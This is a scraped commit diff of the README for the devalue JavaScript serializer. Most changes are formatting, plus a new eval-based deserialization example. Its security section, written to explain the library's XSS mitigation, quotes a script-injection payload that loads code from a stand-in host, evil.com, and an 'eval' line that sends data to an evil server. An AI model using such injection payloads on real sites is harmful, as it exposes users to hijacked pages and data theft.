2
2
3
3
Like ` JSON.stringify ` , but handles
4
4
5
- - cyclical references (` obj.self = obj ` )
6
- - repeated references (` [value, value] ` )
7
- - ` undefined ` , ` Infinity ` , ` NaN ` , ` -0 `
8
- - regular expressions
9
- - dates
10
- - ` Map ` and ` Set `
11
- - ` BigInt `
5
+ - cyclical references (` obj.self = obj ` )
6
+ - repeated references (` [value, value] ` )
7
+ - ` undefined ` , ` Infinity ` , ` NaN ` , ` -0 `
8
+ - regular expressions
9
+ - dates
10
+ - ` Map ` and ` Set `
11
+ - ` BigInt `
12
12
13
13
Try it out [ here] ( https://svelte.dev/repl/138d70def7a748ce9eda736ef1c71239?version=3.49.0 ) .
14
14
15
15
## Goals:
16
16
17
- - Performance
18
- - Security (see [ XSS mitigation] ( #xss-mitigation ) )
19
- - Compact output
17
+ - Performance
18
+ - Security (see [ XSS mitigation] ( #xss-mitigation ) )
19
+ - Compact output
20
20
21
21
## Non-goals:
22
22
23
- - Human-readable output
24
- - Stringifying functions or non-POJOs
23
+ - Human-readable output
24
+ - Stringifying functions or non-POJOs
25
25
26
26
## Usage
27
27
28
28
``` js
29
- import { devalue } from ' devalue' ;
29
+ import { devalue } from " devalue" ;
30
30
31
31
let obj = { a: 1 , b: 2 };
32
32
obj .c = 3 ;
@@ -35,6 +35,9 @@ devalue(obj); // '{a:1,b:2,c:3}'
35
35
36
36
obj .self = obj;
37
37
devalue (obj); // '(function(a){a.a=1;a.b=2;a.c=3;a.self=a;return a}({}))'
38
+
39
+ // Deserialize into new object
40
+ let newObject = (0 , eval)(" (" + devalue (obj) + " )" );
38
41
```
39
42
40
43
## Error handling
@@ -43,16 +46,16 @@ If `devalue` encounters a function or a non-POJO, it will throw an error. You ca
43
46
44
47
``` js
45
48
try {
46
- const map = new Map ();
47
- map .set (' key' , function invalid () {});
48
-
49
- devalue ({
50
- object: {
51
- array: [map]
52
- }
53
- })
49
+ const map = new Map ();
50
+ map .set (" key" , function invalid () {});
51
+
52
+ devalue ({
53
+ object: {
54
+ array: [map],
55
+ },
56
+ });
54
57
} catch (e) {
55
- console .log (e .path ); // '.object.array[0].get("key")'
58
+ console .log (e .path ); // '.object.array[0].get("key")'
56
59
}
57
60
```
58
61
@@ -62,7 +65,7 @@ Say you're server-rendering a page and want to serialize some state, which could
62
65
63
66
``` js
64
67
const state = {
65
- userinput: ` </script><script src='https://evil.com/mwahaha.js'>`
68
+ userinput: ` </script><script src='https://evil.com/mwahaha.js'>` ,
66
69
};
67
70
68
71
const template = `
@@ -76,11 +79,11 @@ Which would result in this:
76
79
77
80
``` html
78
81
<script >
79
- // NEVER DO THIS
80
- var preloaded = {" userinput" : "
82
+ // NEVER DO THIS
83
+ var preloaded = {" userinput" : "
81
84
</script>
82
85
<script src=" https: // evil.com/mwahaha.js">
83
- " };
86
+ " };
84
87
</script>
85
88
```
86
89
@@ -95,17 +98,17 @@ const template = `
95
98
96
99
```html
97
100
<script>
98
- var preloaded = {
99
- userinput:
100
- " \\u003C\\u002Fscript\\u003E\\u003Cscript src= ' https:\\ u002F\\ u002Fevil.com\\ u002Fmwahaha.js' \\u003E"
101
- };
101
+ var preloaded = {
102
+ userinput:
103
+ " \\u003C\\u002Fscript\\u003E\\u003Cscript src= ' https:\\ u002F\\ u002Fevil.com\\ u002Fmwahaha.js' \\u003E" ,
104
+ };
102
105
</script>
103
106
```
104
107
105
108
This, along with the fact that `devalue` bails on functions and non-POJOs, stops attackers from executing arbitrary code. Strings generated by `devalue` can be safely deserialized with `eval` or `new Function`:
106
109
107
110
```js
108
- const value = (0, eval)('(' + str + ')' );
111
+ const value = (0, eval)(" ( " + str + " ) " );
109
112
```
110
113
111
114
## Other security considerations
@@ -116,22 +119,22 @@ When using `eval`, ensure that you call it _indirectly_ so that the evaluated co
116
119
117
120
```js
118
121
{
119
- const sensitiveData = ' Setec Astronomy' ;
120
- eval(' sendToEvilServer(sensitiveData)' ); // pwned :(
121
- (0, eval)(' sendToEvilServer(sensitiveData)' ); // nice try, evildoer!
122
+ const sensitiveData = " Setec Astronomy" ;
123
+ eval(" sendToEvilServer (sensitiveData)" ); // pwned :(
124
+ (0, eval)(" sendToEvilServer (sensitiveData)" ); // nice try, evildoer!
122
125
}
123
126
```
124
127
125
128
Using `new Function(code)` is akin to using indirect eval.
126
129
127
130
## See also
128
131
129
- - [lave](https://github.com/jed/lave) by Jed Schmidt
130
- - [arson](https://github.com/benjamn/arson) by Ben Newman
131
- - [tosource](https://github.com/marcello3d/node-tosource) by Marcello Bastéa-Forte
132
- - [serialize-javascript](https://github.com/yahoo/serialize-javascript) by Eric Ferraiuolo
133
- - [jsesc](https://github.com/mathiasbynens/jsesc) by Mathias Bynens
134
- - [superjson](https://github.com/blitz-js/superjson) by Blitz
132
+ - [lave](https://github.com/jed/lave) by Jed Schmidt
133
+ - [arson](https://github.com/benjamn/arson) by Ben Newman
134
+ - [tosource](https://github.com/marcello3d/node-tosource) by Marcello Bastéa-Forte
135
+ - [serialize-javascript](https://github.com/yahoo/serialize-javascript) by Eric Ferraiuolo
136
+ - [jsesc](https://github.com/mathiasbynens/jsesc) by Mathias Bynens
137
+ - [superjson](https://github.com/blitz-js/superjson) by Blitz
135
138
136
139
## License
137
140
0 commit comments